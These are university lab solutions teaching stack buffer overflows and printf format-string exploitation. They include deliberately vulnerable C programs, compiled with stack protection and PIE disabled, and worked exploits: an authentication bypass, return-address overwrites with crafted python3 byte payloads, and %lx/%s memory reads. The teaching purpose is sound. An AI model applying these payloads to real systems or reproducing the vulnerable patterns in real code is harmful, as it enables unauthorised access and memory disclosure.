University of Perpignan
C. Legrand

L3 Computer Science
Year 2026

Lab Work 5 – Security – Solutions

Intrusion Techniques – Buffer Overflow

Ethical and Legal Disclaimer

The techniques presented in this lab work are studied within a **strictly academic context** in order to understand the mechanisms used by attackers and thus be better able to defend against them.
Any use of these techniques outside the educational context is illegal and punishable by criminal penalties (Chapter III of the French Penal Code, Articles 323-1 to 323-8 – *Offences against Automated Data Processing Systems*):

- Unauthorized access to or remaining in an ADPS (Art. 323-1): **3 years** imprisonment and **€100,000** fine
- Obstructing the operation of an ADPS (Art. 323-2): **5 years** imprisonment and **€150,000** fine
- Fraudulent introduction of data into an ADPS (Art. 323-3): **5 years** imprisonment and **€150,000** fine

Penalties increased to **7 years** and **€300,000** when the targeted system processes personal data operated by the State, and up to **10 years** and **€300,000** for organized crime (Art. 323-4-1). *Penalties updated by the LOPMI law no. 2023-22 of January 24, 2023.*

Compilation Options

The following options should be used when you want to overflow the stack (`-fno-stack-protector`) and know the code addresses (`-no-pie`) which are no longer randomized:

```
gcc -fno-stack-protector -no-pie -g code.c
```

One last option that we will not use here: if you wish to execute code injected onto the stack (`-z execstack`).

Course Reminder

Stack organization: when calling a function, the processor pushes:

1. The function parameters (partly via registers on x86-64)
2. The return address `savedRIP` (pushed by `call`)
3. The old `RBP` (`savedRBP`) saved by `push rbp`
4. The function's local variables

The `RSP` register points to the top of the stack; `RBP` points to the base of the current stack frame.

Stack layout (high to low addresses):

```
High addresses
+---------------------------+
| Function parameters       |  (partly in registers on x86-64)
+---------------------------+
| savedRIP (return address) |  <-- rbp + 8
+---------------------------+
| savedRBP (old rbp)        |  <-- rbp
+---------------------------+
| Local variable 1          |  <-- rbp - 8
+---------------------------+
| Local variable 2          |  <-- rbp - 16
+---------------------------+
| ...                       |
+---------------------------+
Low addresses (RSP points here)
```

Exercise 1 (Buffer Overflow). 1. Consider the following program:

```c
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]){
  int valeur=5;
  char tampon_un[8], tampon_deux[8];

  strcpy(tampon_un,"un");
  strcpy(tampon_deux,"deux");

  printf("[AVANT] tampon_deux est a %p et contient '%s'\n",
         tampon_deux, tampon_deux);
  printf("[AVANT] tampon_un est a %p et contient '%s'\n",
         tampon_un, tampon_un);
  printf("[AVANT] valeur est a %p et vaut %d (0x%08x)\n",
         &valeur, valeur, valeur);

  printf("\n [STRCPY] copie de %d octets dans tampon_deux\n\n",
         (int)strlen(argv[1]));
  strcpy(tampon_deux, argv[1]);
```

```c

  printf("[APRES] tampon_deux est a %p et contient '%s'\n",
         tampon_deux, tampon_deux);
  printf("[APRES] tampon_un est a %p et contient '%s'\n",
         tampon_un, tampon_un);
  printf("[APRES] valeur est a %p et vaut %d (0x%08x)\n",
         &valeur, valeur, valeur);

  return(0);
}
```

By varying the argument, trigger a buffer overflow and analyze it with `gdb`.

Key Takeaway

The `strcpy` function does **NOT** check the destination buffer size. If the source is longer than the buffer, surplus bytes overwrite adjacent data on the stack.

2. Consider the following code fragment that restricts access rights:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int verif_authentication(char *password){
  int auth_flag = 0;
  char password_tampon[16];

  strcpy(password_tampon, password);

  if( strcmp(password_tampon, "brillig") == 0)
    auth_flag = 1;
  if(strcmp(password_tampon, "outgrabe") == 0)
    auth_flag = 1;

  return auth_flag;
}

int main( int argc, char *argv[]){
  if(argc < 2){
    printf("Usage: %s <password>\n", argv[0]);
    exit(0);
  }

  if(verif_authentication(argv[1])){
    printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
    printf("      Acces accorde.\n");
    printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
  }
  else
    printf("     Acces refuse\n");
}
```

Is it possible to perform a buffer overflow to force access (`auth_flag` $\neq 0$)? What happens if the variables are declared in the following order:

```
    char password_tampon[16];
    int auth_flag = 0;
```

Can you still work around this issue to display `Acces accorde` via buffer overflow? Explain in detail why it works.

Answer 1. *1.* ***Overflow analysis with gdb:***

Step 1: Compile with protections disabled.

```
$ gcc -fno-stack-protector -no-pie -g code-exo1-q1-debordement-
    simple.c
```

Step 2: Run with a short argument (no overflow).

```
$ ./a.out AAAA
[AVANT] tampon_deux est a 0x7fffffffde10 et contient 'deux'
[AVANT] tampon_un est a 0x7fffffffde18 et contient 'un'
[AVANT] valeur est a 0x7fffffffde24 et vaut 5 (0x00000005)

 [STRCPY] copie de 4 octets dans tampon_deux

[APRES] tampon_deux est a 0x7fffffffde10 et contient 'AAAA'
[APRES] tampon_un est a 0x7fffffffde18 et contient 'un'
[APRES] valeur est a 0x7fffffffde24 et vaut 5 (0x00000005)
```

Everything is normal: `tampon_deux` *is at a lower address than* `tampon_un`*, which is lower than* `valeur`*. The arrays are adjacent on the stack.*

Step 3: Run with 8 bytes (exact overflow into tampon_un).

```
$ ./a.out AAAAAAAABBBB
[APRES] tampon_deux est a 0x7fffffffde10 et contient '
    AAAAAAAABBBB'
[APRES] tampon_un est a 0x7fffffffde18 et contient 'BBBB'
[APRES] valeur est a 0x7fffffffde24 et vaut 5 (0x00000005)
```

The 8 'A' bytes fill `tampon_deux` *(8 bytes), then the 'B' bytes overflow into* `tampon_un`*. Notice that* `tampon_un` *now contains* `"BBBB"` *instead of* `"un"`*.*

Step 4: Run with enough bytes to reach valeur.

```
$ ./a.out AAAAAAAABBBBBBBBCCCCCCCC
[APRES] tampon_deux est a 0x7fffffffde10 et contient '
    AAAAAAAABBBBBBBBCCCCCCCC'
[APRES] tampon_un est a 0x7fffffffde18 et contient '
    BBBBBBBBCCCCCCCC'
[APRES] valeur est a 0x7fffffffde24 et vaut 1128481603 (0
    x43434343)
```

The variable `valeur` *now contains* `0x43434343` *(the ASCII code for 'C' is* `0x43`*). The overflow has* ***overwritten the integer variable*** *with our chosen bytes.*

GDB analysis:

```
$ gdb ./a.out
(gdb) break main
(gdb) run AAAAAAAABBBBBBBBCCCC
(gdb) info locals
valeur = 5
(gdb) x/40bx tampon_deux
```

In GDB, `x/40bx` displays 40 bytes starting from `tampon_deux`. You can observe the adjacent memory layout: `tampon_deux` (8 bytes) → `tampon_un` (8 bytes) → padding → `valeur` (4 bytes).

Explanation: *The variables are stored adjacently on the stack in decreasing address order. Since `strcpy` does not check bounds, writing beyond `tampon_deux`'s 8 bytes continues into the memory occupied by `tampon_un` and then `valeur`.*

> ***Warning***
>
> *The exact memory layout depends on the compiler and optimization level. Always use `gdb` to verify the actual addresses and offsets on your system. The compiler may add padding between variables for alignment purposes.*

2. ***Authentication bypass:***

Case 1: `auth_flag` declared BEFORE `password_tampon` (original code).

In the original code:

```
int auth_flag = 0;
char password_tampon[16];
```

*On the stack, `password_tampon` is at a **lower** address than `auth_flag` (the stack grows downward, so variables declared later are at lower addresses). When we overflow `password_tampon`, we write toward **higher** addresses, i.e., toward `auth_flag`.*

```
$ ./a.out AAAAAAAAAAAAAAAAAAAAAAAA
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Acces accorde.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
```

By providing more than 16 characters, the overflow of `password_tampon` overwrites `auth_flag` with non-zero bytes (the 'A' characters). Since any non-zero value of `auth_flag` is interpreted as true, access is granted.

Stack layout (Case 1):

```
High addresses
+-----------------------------+
| savedRIP                    |   <-- rbp + 8
+-----------------------------+
| savedRBP                    |   <-- rbp
+-----------------------------+
| auth_flag (4 bytes)         |   <-- rbp - 4    (overwritten!)
+-----------------------------+
| padding (alignment)         |
```

```
+----------------------------+
| password_tampon[16]        |   <-- rbp - 0x20 (overflow starts
   here)
+----------------------------+
Low addresses
```

Case 2: ***`password_tampon` declared BEFORE `auth_flag` (reversed order).***

```
    char password_tampon[16];
    int auth_flag = 0;
```

*Now `auth_flag` is at a **lower** address than `password_tampon`. Overflowing `password_tampon` writes toward higher addresses, away from `auth_flag`. We **cannot** directly overwrite `auth_flag` this way.*

However, we can still bypass the authentication! *The overflow continues past `auth_flag`'s location and reaches `savedRBP` and then `savedRIP` (the return address). By carefully crafting the input, we can overwrite `savedRIP` to redirect execution to the code that prints `"Acces accorde"`, skipping the conditional check entirely.*

```
# Find the address of the "Acces accorde" printf block using gdb:
$ gdb ./a.out
(gdb) disas main
# Identify the address of the instruction after the conditional
   jump
# that leads to the "Acces accorde" printf calls.
# Then craft the payload to overwrite savedRIP with that address.
```

Why it works: *Even when we cannot directly overwrite the target variable, we can always overwrite `savedRIP` (the return address) which is always at a higher address than local variables. This allows us to redirect execution anywhere in the program.*

Key Takeaway

*The `strcpy` function does **NOT** check the destination buffer size. If the source is longer, surplus bytes overwrite adjacent data on the stack. Even if the variable layout prevents direct overwrite of a target variable, the attacker can always reach `savedRIP` to redirect the execution flow.*

Exercise 2 (Modifying the Return Address on the Stack)**.** Using the code from the lecture (given below), adjust the values of a and b in order to execute, upon function return:

- Directly the end of the `main` function (thus skipping both `printf("coucou1")` and `printf("coucou2")`).
- What will happen if we return to the instruction `b=15`?

```c
#include <stdio.h>

void function(long a, long b)
{
  long buffer[2]={0,1};
  buffer[a]+=b;
```

```c
}
void main()
{
  long a,b;
  a=1;
  b=15;
  function(a,b);
  printf("coucou1\n");
  printf("coucou2\n");
}
```

Course Reminder

To find the correct values of `a` and `b`, you must:

1. Analyze the assembly code with `gdb` to determine the size of `function`'s stack frame
2. Calculate the offset between `buffer[0]` and `savedRIP`
3. Determine the increment needed to jump past the desired instructions

Answer 2. ***Step 1: Analyze the stack frame of `function` with gdb.***

```
$ gcc -fno-stack-protector -no-pie -g code-exo2-modif-adresse-retour.
    c
$ gdb ./a.out
(gdb) disas function
```

Typical disassembly of `function`:

```
Dump of assembler code for function:
   push   rbp
   mov    rbp,rsp
   mov    QWORD PTR [rbp-0x28],rdi        # parameter a
   mov    QWORD PTR [rbp-0x30],rsi        # parameter b
   mov    QWORD PTR [rbp-0x10],0x0        # buffer[0] = 0
   mov    QWORD PTR [rbp-0x8],0x1         # buffer[1] = 1
   ...
   buffer[a] += b
   ...
   leave
   ret
```

From the disassembly, we can determine:

- *`buffer[0]` is at `rbp - 0x10` (i.e., `rbp - 16`)*
- *`buffer[1]` is at `rbp - 0x8` (i.e., `rbp - 8`)*
- *`savedRBP` is at `rbp + 0` (8 bytes)*
- *`savedRIP` is at `rbp + 0x8` (i.e., `rbp + 8`)*

Step 2: Calculate the value of `a`.

Each element of `buffer` is a `long` (8 bytes on x86-64). The instruction `buffer[a] += b` accesses address `buffer + a * 8`.

We need: `buffer + a * 8 = savedRIP`

- *`buffer[0]` is at `rbp - 16`*
- *`savedRIP` is at `rbp + 8`*
- *Offset = (`rbp + 8`) - (`rbp - 16`) = 24 bytes = 3 longs*

Therefore: $\boxed{a = 3}$

Step 3: Calculate the value of `b` (skip both printf calls).

```
(gdb) disas main
Dump of assembler code for main:
   ...
   call    function                        # address X
   lea     rdi,[rip+...]    # "coucou1\n"    <-- savedRIP points here (X
   +5)
   call    printf
   lea     rdi,[rip+...]    # "coucou2\n"
   call    printf
   nop                                     # <-- we want to jump here
   leave
   ret
```

The value of `b` is the number of bytes to add to `savedRIP` to skip past both `printf` calls. This depends on the exact encoding of the instructions.

Typically, each `lea` + `call printf` block takes about 12–15 bytes. You need to read the exact addresses from the disassembly:

```
(gdb) disas main
   0x00000000004011a0 <+35>:   call    0x401156 <function>
   0x00000000004011a5 <+40>:   lea     rdi,[rip+0xe5c]    # "coucou1"
   0x00000000004011ac <+47>:   call    0x401030 <puts@plt>
   0x00000000004011b1 <+52>:   lea     rdi,[rip+0xe52]    # "coucou2"
   0x00000000004011b8 <+59>:   call    0x401030 <puts@plt>
   0x00000000004011bd <+64>:   nop
   0x00000000004011be <+65>:   leave
   0x00000000004011bf <+66>:   ret
```

In this example:

- *`savedRIP` = `0x4011a5` (instruction after `call function`)*
- *Target (skip both printf) = `0x4011bd` (the `nop` before `leave`)*
- *b = `0x4011bd - 0x4011a5` = `0x18` = 24*

Warning

*The exact value of b depends on your specific compilation. You **must** use `gdb` to read the actual addresses. The compiler may generate `puts` instead of `printf` when the format string has no format specifiers (just a string ending with `\n`).*

Final code:

```
void main()
{
  long a,b;
```

```
  a=3;      // offset to reach savedRIP (3 longs = 24 bytes)
  b=24;     // increment to skip both printf calls (adjust per your disas)
  function(a,b);
  printf("coucou1\n");  // skipped!
  printf("coucou2\n");  // skipped!
}
```

```
$ ./a.out
$                          # No output: both printf calls were skipped
```

Step 4: What happens if we return to `b=15`?

*If the value of b is calculated so that `savedRIP` points to the instruction `b=15` in `main` (which is **before** the `call function` instruction), then upon return from `function`:*

1. *Execution jumps to `b=15`*
2. *Then `function(a,b)` is called again*
3. *Inside `function`, `buffer[a] += b` modifies `savedRIP` again*
4. *Upon return, execution jumps back to `b=15`*
5. *This repeats indefinitely*

*This creates an **infinite loop**. The program never terminates and keeps calling `function` over and over again. Eventually, the stack may overflow due to repeated calls (if the compiler does not optimize the frame reuse), or the program just loops forever.*

Course Reminder

GDB analysis methodology for return address attacks:

1. *Compile with `-fno-stack-protector -no-pie -g`*
2. *Use `disas function` to find `buffer`'s position relative to `rbp`*
3. *Use `disas main` to find the exact addresses of instructions to skip*
4. *Calculate a = (distance from `buffer[0]` to `savedRIP`) / `sizeof(long)`*
5. *Calculate b = (target address) - (normal return address)*
6. *Set breakpoints and use `x/xg $rbp+8` to verify `savedRIP`*
7. *Use `stepi` to single-step through instructions and confirm the redirect*

Exercise 3 (Return Address Overwrite via Overflow)**.** Consider the following code:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void f(char *s)
{
```

```c
  char nom[10];
  strcpy(nom,s);
  printf("\n");
  printf("%lx\n",*((unsigned long *)(nom+18)));
  printf("Bonjour %s, on est dans f\n",nom);
}

void secret()
{
  printf("on est dans secret\n");
}

int main(int argc, char **argv)
{
  printf("adresse de f=%p, et de secret=%p\n",f,secret);
  f(argv[1]);
}
```

By overwriting the return address of the call to function `f`, make the program execute function `secret`.

Warning

To pass a string of characters specified by their ASCII code as a parameter, you can use `python3` as follows (for the two ASCII codes `0x11` and `0xff`):

```
$ python3 -c "print('\x11\xff')"
```

Answer 3. ***Step 1: Compile and find the addresses.***

```
$ gcc -fno-stack-protector -no-pie -g code-exo3-ecrasement-adresse-
    retour.c
$ ./a.out test
adresse de f=0x401156, et de secret=0x4011a0

Bonjour test, on est dans f
```

The program helpfully prints the addresses of both functions. We need to redirect execution to `secret` at address `0x4011a0` (this address varies per compilation; use the one your program prints).

Step 2: Analyze the stack frame of `f` with gdb.

```
$ gdb ./a.out
(gdb) disas f
Dump of assembler code for function f:
   push   rbp
   mov    rbp,rsp
   sub    rsp,0x20
   mov    QWORD PTR [rbp-0x18],rdi     # parameter s
   lea    rax,[rbp-0xa]                # nom starts at rbp-0xa
   ...
```

From the disassembly:

- *`nom` starts at `rbp - 0xa` (i.e., `rbp - 10`)*

- *savedRBP is at rbp + 0 (8 bytes)*
- *savedRIP is at rbp + 8*

Step 3: Calculate the padding.
Distance from nom to savedRIP:

- *From rbp - 10 to rbp + 8 = 18 bytes*

We need:

- *18 bytes of padding (to fill nom + savedRBP)*
- *Then the address of secret() in little-endian byte order*

> ***Warning***
>
> *Note that the line printf("%lx\n", *((unsigned long *)(nom+18))) in the source code already reads the 8 bytes at offset 18 from nom – this is precisely savedRIP! This is a hint from the exercise: it confirms that the return address is 18 bytes from the start of nom.*

Step 4: Craft the exploit.
Assuming secret is at 0x4011a0 (check your own output!), in little-endian: \xa0\x11\x40 followed by null bytes (since the upper bytes of the address are 0x00).

```
$ ./a.out $(python3 -c "import sys; sys.stdout.buffer.write(b'a'*18 +
    b'\xa0\x11\x40\x00\x00\x00\x00\x00')")
adresse de f=0x401156, et de secret=0x4011a0

4011a0
Bonjour aaaaaaaaaaaaaaaaaa@, on est dans f
on est dans secret
```

The program prints "on est dans secret", confirming that execution was successfully redirected to the secret() function.

Explanation:

1. *The 18 'a' characters fill the space from nom up to (but not including) savedRIP*
2. *The next bytes (\xa0\x11\x40\x00...) overwrite savedRIP with the address of secret()*
3. *When f() executes ret, it pops this crafted address into RIP*
4. *Execution jumps to secret() instead of returning to main()*

```
Stack of f() after overflow:
+----------------------------+
| savedRIP = 0x4011a0        |  <-- overwritten with secret()'s
    address!
+----------------------------+
| savedRBP = 0x616161...     |  <-- overwritten with 'a' bytes
+----------------------------+
| nom = "aaaaaaaaaa"         |  <-- 10 bytes of 'a'
+----------------------------+
```

Warning

- *The address must be written in* ***little-endian*** *byte order (least significant byte first), because x86-64 is a little-endian architecture.*
- *Using* `python3 -c "print(...)"` *may add a trailing newline (*`\x0a`*). Using* `sys.stdout.buffer.write()` *avoids this issue.*
- *After* `secret()` *finishes, the program will likely crash (segfault) because the stack frame is corrupted. This is expected in a simple exploit.*
- *If ASLR is enabled (default on modern Linux), addresses are randomized. The* `-no-pie` *flag disables position-independent code to make addresses predictable.*

Exercise 4 (Exploiting the `printf` Format String)**.** Consider the following code compiled with the options `-fno-stack-protector -no-pie`:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
  unsigned long d;
  char texte[512];

  static int test_var = 100*256*256+100*256+100;
  if(argc < 3) {
    printf("Usage: %s <text to print> <entier>\n", argv[0]);
    exit(0);
  }
  d=atoi(argv[2]);

  strcpy(texte, argv[1]);
  printf("La bonne facon d'afficher des entrees utilisateurs:\n");
  printf("%s", texte);
  printf("\nLa mauvaise facon d'afficher des entrees utilisateurs:\n");
  printf(texte);
  printf("\n");
  // Debug output
  printf("[*] test_var @ %p = %lu, %04x\n", &test_var, &test_var, test_var);
  printf("[*] adresse de d=%p, valeur de d=0x%016lx\n", &d, d);
  printf("[*] adresse de texte=%p\n", texte);
  exit(0);
}
```

1. Understand and test the program, then apply what was covered in the lecture to display the contents of `main`'s stack by choosing the program's argument wisely on the command line.
2. If the program's argument contains the format `"%s"`, what will happen? Can you choose the address that `"%s"` targets and use it to read the value of `test_var`?

Key Takeaway

The call `printf(texte)` is dangerous because the attacker controls the format string. They can use `%x`, `%lx`, `%s` to read memory, and even `%n` to write to memory!

Answer 4. *1.* ***Reading the stack with format specifiers:***

Understanding the vulnerability:

The program has two calls to `printf` with user input:

- *`printf("%s", texte)` – **Safe**: the format string is controlled by the programmer, `texte` is treated as data.*
- *`printf(texte)` – **Dangerous**: the user's input IS the format string. If the user includes format specifiers like `%x` or `%lx`, `printf` will consume values from the registers and then from the stack.*

Normal usage:

```
$ ./a.out "Hello World" 42
La bonne facon d'afficher des entrees utilisateurs:
Hello World
La mauvaise facon d'afficher des entrees utilisateurs:
Hello World
[*] test_var @ 0x404030 = 4210116, 00646464
[*] adresse de d=0x7fffffffdd08, valeur de d=0x000000000000002a
[*] adresse de texte=0x7fffffffdb00
```

Both outputs are identical. Note that `test_var` $= 100 \times 256^2 + 100 \times 256 + 100 = 6553600 + 25600 + 100 = 6579300$... *Actually, let us compute:* $100 \times 65536 + 100 \times 256 + 100 = 6553600 + 25600 + 100 = 6579300$. *In hex:* `0x646464`.

Exploiting the format string to read the stack:

```
$ ./a.out "%08x.%08x.%08x.%08x.%08x.%08x" 42
La bonne facon d'afficher des entrees utilisateurs:
%08x.%08x.%08x.%08x.%08x.%08x
La mauvaise facon d'afficher des entrees utilisateurs:
ffffe1b8.00000000.00000000.78383025.3830252e.30252e78
```

The safe version prints the format string literally. The vulnerable version interprets each `%08x` as a request to read a value. On x86-64, the first few format arguments come from registers (`rsi`, `rdx`, `rcx`, `r8`, `r9`), then subsequent ones come from the stack.

Using `%lx` to read 64-bit values:

```
$ ./a.out "%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx" 42
```

Each `%lx` reads an 8-byte value (long) from the argument list. This reveals the contents of the stack: local variables, saved registers, return addresses, etc.

Using positional arguments to target specific stack slots:

The notation `%N$lx` reads the N-th argument directly:

```
$ ./a.out "%1\$lx %2\$lx %3\$lx %4\$lx %5\$lx %6\$lx %7\$lx %8\
    $lx" 42
```

This allows reading specific positions in the argument list without consuming all the preceding values. By varying N, you can explore the entire stack.

Why does `printf` process these format specifiers?

When `printf` encounters a format specifier (`%x`, `%lx`, `%s`, etc.), it reads the next argument from the calling convention's argument locations (registers first, then stack). It has ***no way to know*** *how many arguments were actually provided – it blindly trusts the format string. With `printf(texte)`, the attacker controls the format string and can therefore read (and even write) arbitrary memory.*

2. ***Using `%s` to read a string at a chosen address:***

What happens with `%s`:

The `%s` format specifier tells `printf` to read a ***pointer*** *from the argument list and then print the null-terminated string at that address. If we can control which value is used as the pointer, we can read arbitrary memory.*

```
$ ./a.out "%s" 42
```

This will try to read a string from whatever address happens to be in the `rsi` register (the second argument register). This will likely crash with a segfault because that value is probably not a valid address.

Controlling the address for `%s`:

The key insight is that the format string itself (`texte`) lives on the stack. If we place an address at the beginning of our format string, and then use a positional `%s` to reference the stack slot where our format string begins, `printf` will dereference our chosen address.

Strategy:

(a) *First, determine which positional argument corresponds to the start of the `texte` buffer on the stack. Use multiple `%lx` to identify where you see the bytes of your own format string:*

```
$ ./a.out "AAAAAAAA%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx"
    42
```

Look for `4141414141414141` in the output. If it appears at position k, then `%k$s` will dereference the 8-byte value at the start of `texte`.

(b) *Then replace the 8 'A' bytes with the address of `test_var` (obtained from the debug output: `0x404030`), followed by `%k$s`:*

```
$ ./a.out $(python3 -c "import sys; sys.stdout.buffer.write(b
    '\x30\x40\x40\x00\x00\x00\x00\x00' + b'%6\$s')") 42
```

(where 6 is replaced by the actual position k you discovered)

Result:

If the position is correct, `printf` will:

(a) *Find the 8-byte value at position k in its argument list*

(b) *This value is the start of* `texte`*, which contains* `0x0000000000404030`

(c) *Interpret this as a pointer and print the string at address* `0x404030`

(d) *This is the address of* `test_var`*, so it prints the bytes of* `test_var` *interpreted as a string*

Since `test_var` = `0x00646464`*, the bytes in memory (little-endian) are* `64 64 64 00`*. Interpreted as a string:* `"ddd"` *(since* `0x64` = *'d' in ASCII).*

Warning

- *The exact positional argument number k depends on your compiler, system, and the size of the format string. You must discover it empirically using* `%lx` *probes.*
- *Null bytes (*`\x00`*) in the address may cause* `strcpy` *to truncate the string prematurely. Placing the address bytes at the end of the format string (using* `%k$s` *first, then the address) or using direct input methods can help.*
- *On 64-bit systems, addresses in the low range (like* `0x404030`*) contain null bytes in the upper bytes, making this exploit trickier than on 32-bit systems.*

Key Takeaway

- `printf(texte)` *is* ***dangerous*** *because the attacker controls the format string and can read arbitrary memory locations.*
- `printf("%s", texte)` *is* ***safe*** *because the format string is fixed by the programmer.*
- *Format specifiers like* `%x`*,* `%lx` *allow reading the stack contents (registers, then stack memory).*
- *The* `%s` *specifier dereferences a pointer from the argument list, enabling reads at arbitrary addresses.*
- *The* `%n` *specifier (not explored here) can* ***write*** *to memory, making format string bugs exploitable for arbitrary code execution.*
- ***Rule:*** *Never pass user-controlled data as the first argument to* `printf` *(or* `sprintf`*,* `fprintf`*, etc.).*